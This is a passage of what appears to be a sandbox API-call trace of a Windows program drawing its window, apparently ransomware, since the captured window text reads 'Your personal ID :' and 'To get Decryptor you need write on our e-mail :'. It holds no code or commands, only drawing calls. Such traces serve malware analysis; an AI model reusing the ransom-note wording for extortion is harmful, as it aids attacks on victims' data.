[0283.285] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.285] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0283.286] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.286] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.286] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.286] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.286] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0283.286] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.287] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0283.287] GetCurrentObject (hdc=0x8010b4c, type=0x1) returned 0x1b00017
[0283.287] GetCurrentObject (hdc=0x8010b4c, type=0x2) returned 0x1900010
[0283.287] GetCurrentObject (hdc=0x8010b4c, type=0x7) returned 0x6050b85
[0283.287] GetCurrentObject (hdc=0x8010b4c, type=0x6) returned 0x18a002e
[0283.287] SaveDC (hdc=0x8010b4c) returned 1
[0283.288] OffsetViewportOrgEx (in: hdc=0x8010b4c, x=0, y=0, lppt=0x2857768 | out: lppt=0x2857768) returned 1
[0283.288] IsAppThemed () returned 0x1
[0283.288] GetThemeAppProperties () returned 0x3
[0283.288] GetThemeAppProperties () returned 0x3
[0283.288] DrawThemeBackground () returned 0x0
[0283.288] RestoreDC (hdc=0x8010b4c, nSavedDC=-1) returned 1
[0283.288] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x8010b4c) returned 0x0
[0283.288] GdipCreateRegion (region=0x2ed610) returned 0x0
[0283.308] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.308] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0283.308] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.308] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed678) returned 0x0
[0283.308] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.308] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x27eb7de0) returned 0x0
[0283.309] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.309] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.309] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0283.309] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.309] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0283.310] GetCurrentObject (hdc=0x8010b4c, type=0x1) returned 0x1b00017
[0283.310] GetCurrentObject (hdc=0x8010b4c, type=0x2) returned 0x1900010
[0283.310] GetCurrentObject (hdc=0x8010b4c, type=0x7) returned 0x6050b85
[0283.310] GetCurrentObject (hdc=0x8010b4c, type=0x6) returned 0x18a002e
[0283.310] SaveDC (hdc=0x8010b4c) returned 1
[0283.310] OffsetViewportOrgEx (in: hdc=0x8010b4c, x=0, y=0, lppt=0x2857bc0 | out: lppt=0x2857bc0) returned 1
[0283.311] IsAppThemed () returned 0x1
[0283.311] GetThemeAppProperties () returned 0x3
[0283.311] GetThemeAppProperties () returned 0x3
[0283.311] DrawThemeBackground () returned 0x0
[0283.311] RestoreDC (hdc=0x8010b4c, nSavedDC=-1) returned 1
[0283.311] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x8010b4c) returned 0x0
[0283.311] GdipCreateRegion (region=0x2ed610) returned 0x0
[0283.311] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.311] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0283.312] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.312] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0283.312] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.312] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.312] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.312] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.313] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0283.313] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.313] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0283.313] GetCurrentObject (hdc=0x8010b4c, type=0x1) returned 0x1b00017
[0283.313] GetCurrentObject (hdc=0x8010b4c, type=0x2) returned 0x1900010
[0283.313] GetCurrentObject (hdc=0x8010b4c, type=0x7) returned 0x6050b85
[0283.313] GetCurrentObject (hdc=0x8010b4c, type=0x6) returned 0x18a002e
[0283.314] SaveDC (hdc=0x8010b4c) returned 1
[0283.314] OffsetViewportOrgEx (in: hdc=0x8010b4c, x=0, y=0, lppt=0x2858018 | out: lppt=0x2858018) returned 1
[0283.314] IsAppThemed () returned 0x1
[0283.314] GetThemeAppProperties () returned 0x3
[0283.314] GetThemeAppProperties () returned 0x3
[0283.314] DrawThemeBackground () returned 0x0
[0283.314] RestoreDC (hdc=0x8010b4c, nSavedDC=-1) returned 1
[0283.314] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x8010b4c) returned 0x0
[0283.315] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0283.315] SelectPalette (hdc=0x8010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0283.315] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x14, wParam=0x1010a48, lParam=0x0) returned 0x1
[0283.316] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x85, wParam=0x21040b48, lParam=0x0) returned 0x0
[0283.316] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0x85, wParam=0x22040b48, lParam=0x0) returned 0x0
[0283.316] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0x14, wParam=0x2010a5c, lParam=0x0) returned 0x1
[0283.316] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0x85, wParam=0x23040b48, lParam=0x0) returned 0x1
[0283.317] SetTextColor (hdc=0x2010b40, color=0xffffff) returned 0x0
[0283.317] SetBkColor (hdc=0x2010b40, color=0x80) returned 0xffffff
[0283.317] CreateSolidBrush (color=0x80) returned 0x6100a97
[0283.317] GetWindowTextLengthW (hWnd=0x2029e) returned 18
[0283.317] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x12
[0283.318] GetSystemMetrics (nIndex=42) returned 0
[0283.318] GetWindowTextW (in: hWnd=0x2029e, lpString=0x2ed940, nMaxCount=19 | out: lpString="Your personal ID :") returned 18
[0283.318] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xd, wParam=0x13, lParam=0x2ed940) returned 0x12
[0283.318] GetClientRect (in: hWnd=0x2029e, lpRect=0x2edb08 | out: lpRect=0x2edb08) returned 1
[0283.318] GetCurrentObject (hdc=0x9010b4c, type=0x1) returned 0x1b00017
[0283.318] GetCurrentObject (hdc=0x9010b4c, type=0x2) returned 0x1900010
[0283.318] GetCurrentObject (hdc=0x9010b4c, type=0x7) returned 0x6050b85
[0283.318] GetCurrentObject (hdc=0x9010b4c, type=0x6) returned 0x18a002e
[0283.319] SaveDC (hdc=0x9010b4c) returned 1
[0283.319] GetNearestColor (hdc=0x9010b4c, color=0x80) returned 0x80
[0283.319] CreateSolidBrush (color=0x80) returned 0x4100ad0
[0283.319] FillRect (hDC=0x9010b4c, lprc=0x2ed7f8, hbr=0x4100ad0) returned 1
[0283.320] DeleteObject (ho=0x4100ad0) returned 1
[0283.321] RestoreDC (hdc=0x9010b4c, nSavedDC=-1) returned 1
[0283.321] GetWindowTextLengthW (hWnd=0x2029e) returned 18
[0283.321] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x12
[0283.321] GetSystemMetrics (nIndex=42) returned 0
[0283.321] GetWindowTextW (in: hWnd=0x2029e, lpString=0x2ed940, nMaxCount=19 | out: lpString="Your personal ID :") returned 18
[0283.321] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xd, wParam=0x13, lParam=0x2ed940) returned 0x12
[0283.321] IsAppThemed () returned 0x1
[0283.321] GetThemeAppProperties () returned 0x3
[0283.321] GetThemeAppProperties () returned 0x3
[0283.321] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x2eda18, fWinIni=0x0 | out: pvParam=0x2eda18) returned 1
[0283.322] SendMessageW (hWnd=0x4015e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0
[0283.322] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0
[0283.322] SelectPalette (hdc=0x9010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0283.322] GdipCreateFromHDC (hdc=0x9010b4c, graphics=0x2ed9e8) returned 0x0
[0283.322] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0283.322] GdipCreateMatrix (matrix=0x2ed8e0) returned 0x0
[0283.322] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.323] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed948) returned 0x0
[0283.323] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.323] GdipCreateRegion (region=0x2ed8e0) returned 0x0
[0283.323] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.323] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed940) returned 0x0
[0283.324] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.324] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ed9e0) returned 0x0
[0283.324] IsAppThemed () returned 0x1
[0283.324] GetThemeAppProperties () returned 0x3
[0283.324] GetThemeAppProperties () returned 0x3
[0283.324] IsAppThemed () returned 0x1
[0283.324] GetThemeAppProperties () returned 0x3
[0283.324] GetThemeAppProperties () returned 0x3
[0283.324] IsThemePartDefined () returned 0x1
[0283.324] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed7d8) returned 0x0
[0283.324] GdipCreateRegion (region=0x2ed650) returned 0x0
[0283.325] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.325] GdipCreateMatrix (matrix=0x2ed650) returned 0x0
[0283.325] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.325] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed6b8) returned 0x0
[0283.325] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.325] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.326] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.326] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.326] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed720) returned 0x0
[0283.326] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.326] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed728) returned 0x0
[0283.326] GetCurrentObject (hdc=0x9010b4c, type=0x1) returned 0x1b00017
[0283.327] GetCurrentObject (hdc=0x9010b4c, type=0x2) returned 0x1900010
[0283.327] GetCurrentObject (hdc=0x9010b4c, type=0x7) returned 0x6050b85
[0283.327] GetCurrentObject (hdc=0x9010b4c, type=0x6) returned 0x18a002e
[0283.327] SaveDC (hdc=0x9010b4c) returned 1
[0283.329] OffsetViewportOrgEx (in: hdc=0x9010b4c, x=0, y=0, lppt=0x2858e78 | out: lppt=0x2858e78) returned 1
[0283.329] GetCurrentObject (hdc=0x9010b4c, type=0x6) returned 0x18a002e
[0283.329] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed520 | out: pv=0x2ed520) returned 92
[0283.330] SelectObject (hdc=0x9010b4c, h=0x50a0b98) returned 0x18a002e
[0283.330] DrawTextExW (in: hdc=0x9010b4c, lpchText="Your personal ID :", cchText=18, lprc=0x2ed7d8, format=0x102410, lpdtp=0x2858e90 | out: lpchText="Your personal ID :", lprc=0x2ed7d8) returned 14
[0283.330] RestoreDC (hdc=0x9010b4c, nSavedDC=-1) returned 1
[0283.330] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x9010b4c) returned 0x0
[0283.331] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed7a8) returned 0x0
[0283.331] GdipCreateRegion (region=0x2ed620) returned 0x0
[0283.331] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.331] GdipCreateMatrix (matrix=0x2ed620) returned 0x0
[0283.331] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.331] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed688) returned 0x0
[0283.332] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.332] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x27eb7de0) returned 0x0
[0283.332] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.332] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.332] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6f0) returned 0x0
[0283.332] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.332] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6f8) returned 0x0
[0283.333] GetCurrentObject (hdc=0x9010b4c, type=0x1) returned 0x1b00017
[0283.333] GetCurrentObject (hdc=0x9010b4c, type=0x2) returned 0x1900010
[0283.333] GetCurrentObject (hdc=0x9010b4c, type=0x7) returned 0x6050b85
[0283.333] GetCurrentObject (hdc=0x9010b4c, type=0x6) returned 0x18a002e
[0283.333] SaveDC (hdc=0x9010b4c) returned 1
[0283.334] OffsetViewportOrgEx (in: hdc=0x9010b4c, x=0, y=0, lppt=0x2859290 | out: lppt=0x2859290) returned 1
[0283.334] GetTextAlign (hdc=0x9010b4c) returned 0x0
[0283.334] GetTextColor (hdc=0x9010b4c) returned 0x0
[0283.334] SetTextColor (hdc=0x9010b4c, color=0xffff) returned 0x0
[0283.334] GetCurrentObject (hdc=0x9010b4c, type=0x6) returned 0x18a002e
[0283.335] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed2c0 | out: pv=0x2ed2c0) returned 92
[0283.335] SelectObject (hdc=0x9010b4c, h=0x50a0b98) returned 0x18a002e
[0283.337] GetBkMode (hdc=0x9010b4c) returned 2
[0283.337] SetBkMode (hdc=0x9010b4c, mode=1) returned 2
[0283.337] DrawTextExW (in: hdc=0x9010b4c, lpchText="Your personal ID :", cchText=18, lprc=0x2ed718, format=0x102010, lpdtp=0x2859490 | out: lpchText="Your personal ID :", lprc=0x2ed718) returned 14
[0283.338] RestoreDC (hdc=0x9010b4c, nSavedDC=-1) returned 1
[0283.338] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x9010b4c) returned 0x0
[0283.339] GetDC (hWnd=0x0) returned 0x1010a48
[0283.339] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ed7c8) returned 0x0
[0283.339] GdipGetFontHeight (font=0x1c5af090, graphics=0x1cb7c2b0, height=0x2ed7c4) returned 0x0
[0283.339] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0283.339] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0283.340] GetDC (hWnd=0x0) returned 0x1010a48
[0283.340] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ed7c8) returned 0x0
[0283.340] GdipGetFontHeight (font=0x1c5af090, graphics=0x1cb7c2b0, height=0x2ed7c4) returned 0x0
[0283.340] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0283.340] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0283.341] GdipCreateRegion (region=0x2ed610) returned 0x0
[0283.341] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.341] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0283.341] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.341] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0283.342] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.342] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.342] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.342] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.342] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0283.342] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.343] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0283.343] GetCurrentObject (hdc=0x9010b4c, type=0x1) returned 0x1b00017
[0283.343] GetCurrentObject (hdc=0x9010b4c, type=0x2) returned 0x1900010
[0283.343] GetCurrentObject (hdc=0x9010b4c, type=0x7) returned 0x6050b85
[0283.343] GetCurrentObject (hdc=0x9010b4c, type=0x6) returned 0x18a002e
[0283.343] SaveDC (hdc=0x9010b4c) returned 1
[0283.344] OffsetViewportOrgEx (in: hdc=0x9010b4c, x=0, y=0, lppt=0x2859878 | out: lppt=0x2859878) returned 1
[0283.344] IsAppThemed () returned 0x1
[0283.344] GetThemeAppProperties () returned 0x3
[0283.344] GetThemeAppProperties () returned 0x3
[0283.344] DrawThemeBackground () returned 0x0
[0283.344] RestoreDC (hdc=0x9010b4c, nSavedDC=-1) returned 1
[0283.344] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x9010b4c) returned 0x0
[0283.345] GdipCreateRegion (region=0x2ed610) returned 0x0
[0283.345] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.345] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0283.345] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.345] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed678) returned 0x0
[0283.345] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.346] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x27eb7de0) returned 0x0
[0283.346] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.346] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.346] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0283.346] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.346] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0283.347] GetCurrentObject (hdc=0x9010b4c, type=0x1) returned 0x1b00017
[0283.347] GetCurrentObject (hdc=0x9010b4c, type=0x2) returned 0x1900010
[0283.347] GetCurrentObject (hdc=0x9010b4c, type=0x7) returned 0x6050b85
[0283.347] GetCurrentObject (hdc=0x9010b4c, type=0x6) returned 0x18a002e
[0283.347] SaveDC (hdc=0x9010b4c) returned 1
[0283.348] OffsetViewportOrgEx (in: hdc=0x9010b4c, x=0, y=0, lppt=0x2859cd0 | out: lppt=0x2859cd0) returned 1
[0283.348] IsAppThemed () returned 0x1
[0283.348] GetThemeAppProperties () returned 0x3
[0283.348] GetThemeAppProperties () returned 0x3
[0283.348] DrawThemeBackground () returned 0x0
[0283.348] RestoreDC (hdc=0x9010b4c, nSavedDC=-1) returned 1
[0283.348] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x9010b4c) returned 0x0
[0283.348] GdipCreateRegion (region=0x2ed610) returned 0x0
[0283.348] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.349] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0283.349] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.349] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0283.349] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.349] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.350] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.350] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.350] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0283.350] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.350] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0283.350] GetCurrentObject (hdc=0x9010b4c, type=0x1) returned 0x1b00017
[0283.351] GetCurrentObject (hdc=0x9010b4c, type=0x2) returned 0x1900010
[0283.357] GetCurrentObject (hdc=0x9010b4c, type=0x7) returned 0x6050b85
[0283.357] GetCurrentObject (hdc=0x9010b4c, type=0x6) returned 0x18a002e
[0283.358] SaveDC (hdc=0x9010b4c) returned 1
[0283.358] OffsetViewportOrgEx (in: hdc=0x9010b4c, x=0, y=0, lppt=0x285a128 | out: lppt=0x285a128) returned 1
[0283.358] IsAppThemed () returned 0x1
[0283.358] GetThemeAppProperties () returned 0x3
[0283.358] GetThemeAppProperties () returned 0x3
[0283.358] DrawThemeBackground () returned 0x0
[0283.358] RestoreDC (hdc=0x9010b4c, nSavedDC=-1) returned 1
[0283.359] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x9010b4c) returned 0x0
[0283.359] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0283.359] SelectPalette (hdc=0x9010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0283.360] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0x14, wParam=0x2010b40, lParam=0x0) returned 0x1
[0283.360] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0x85, wParam=0x24040b48, lParam=0x0) returned 0x0
[0283.360] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0x85, wParam=0x25040b48, lParam=0x0) returned 0x0
[0283.360] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0x14, wParam=0x1010a48, lParam=0x0) returned 0x1
[0283.361] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102ac, Msg=0x85, wParam=0x26040b48, lParam=0x0) returned 0x1
[0283.361] SetTextColor (hdc=0x2010a5c, color=0xffffff) returned 0x0
[0283.361] SetBkColor (hdc=0x2010a5c, color=0x80) returned 0xffffff
[0283.361] CreateSolidBrush (color=0x80) returned 0x5100ad0
[0283.361] GetWindowTextLengthW (hWnd=0x102a8) returned 47
[0283.362] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2f
[0283.362] GetSystemMetrics (nIndex=42) returned 0
[0283.362] GetWindowTextW (in: hWnd=0x102a8, lpString=0x2ed900, nMaxCount=48 | out: lpString="To get Decryptor you need write on our e-mail :") returned 47
[0283.362] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xd, wParam=0x30, lParam=0x2ed900) returned 0x2f
[0283.362] GetClientRect (in: hWnd=0x102a8, lpRect=0x2edb08 | out: lpRect=0x2edb08) returned 1
[0283.362] GetCurrentObject (hdc=0xa010b4c, type=0x1) returned 0x1b00017
[0283.362] GetCurrentObject (hdc=0xa010b4c, type=0x2) returned 0x1900010
[0283.362] GetCurrentObject (hdc=0xa010b4c, type=0x7) returned 0x6050b85
[0283.362] GetCurrentObject (hdc=0xa010b4c, type=0x6) returned 0x18a002e
[0283.363] SaveDC (hdc=0xa010b4c) returned 1
[0283.363] GetNearestColor (hdc=0xa010b4c, color=0x80) returned 0x80
[0283.363] CreateSolidBrush (color=0x80) returned 0xb100a95
[0283.363] FillRect (hDC=0xa010b4c, lprc=0x2ed7f8, hbr=0xb100a95) returned 1
[0283.363] DeleteObject (ho=0xb100a95) returned 1
[0283.363] RestoreDC (hdc=0xa010b4c, nSavedDC=-1) returned 1
[0283.364] GetWindowTextLengthW (hWnd=0x102a8) returned 47
[0283.364] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2f
[0283.364] GetSystemMetrics (nIndex=42) returned 0
[0283.364] GetWindowTextW (in: hWnd=0x102a8, lpString=0x2ed900, nMaxCount=48 | out: lpString="To get Decryptor you need write on our e-mail :") returned 47
[0283.364] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xd, wParam=0x30, lParam=0x2ed900) returned 0x2f
[0283.364] IsAppThemed () returned 0x1
[0283.364] GetThemeAppProperties () returned 0x3
[0283.364] GetThemeAppProperties () returned 0x3
[0283.364] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x2eda18, fWinIni=0x0 | out: pvParam=0x2eda18) returned 1
[0283.364] SendMessageW (hWnd=0x4015e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0
[0283.364] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0
[0283.364] SelectPalette (hdc=0xa010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0283.365] GdipCreateFromHDC (hdc=0xa010b4c, graphics=0x2ed9e8) returned 0x0
[0283.365] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0283.365] GdipCreateMatrix (matrix=0x2ed8e0) returned 0x0
[0283.365] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.365] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed948) returned 0x0
[0283.366] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.366] GdipCreateRegion (region=0x2ed8e0) returned 0x0
[0283.366] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.366] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed940) returned 0x0
[0283.366] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.370] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ed9e0) returned 0x0
[0283.370] IsAppThemed () returned 0x1
[0283.370] GetThemeAppProperties () returned 0x3
[0283.370] GetThemeAppProperties () returned 0x3
[0283.370] IsAppThemed () returned 0x1
[0283.370] GetThemeAppProperties () returned 0x3
[0283.370] GetThemeAppProperties () returned 0x3
[0283.370] IsThemePartDefined () returned 0x1
[0283.370] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed7d8) returned 0x0
[0283.370] GdipCreateRegion (region=0x2ed650) returned 0x0
[0283.371] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.371] GdipCreateMatrix (matrix=0x2ed650) returned 0x0
[0283.371] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.371] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed6b8) returned 0x0
[0283.371] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.371] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.372] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.372] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.372] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed720) returned 0x0
[0283.372] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.372] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed728) returned 0x0
[0283.372] GetCurrentObject (hdc=0xa010b4c, type=0x1) returned 0x1b00017
[0283.372] GetCurrentObject (hdc=0xa010b4c, type=0x2) returned 0x1900010
[0283.373] GetCurrentObject (hdc=0xa010b4c, type=0x7) returned 0x6050b85
[0283.373] GetCurrentObject (hdc=0xa010b4c, type=0x6) returned 0x18a002e
[0283.373] SaveDC (hdc=0xa010b4c) returned 1
[0283.373] OffsetViewportOrgEx (in: hdc=0xa010b4c, x=0, y=0, lppt=0x285b118 | out: lppt=0x285b118) returned 1
[0283.374] GetCurrentObject (hdc=0xa010b4c, type=0x6) returned 0x18a002e
[0283.374] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed520 | out: pv=0x2ed520) returned 92
[0283.374] SelectObject (hdc=0xa010b4c, h=0x50a0b98) returned 0x18a002e
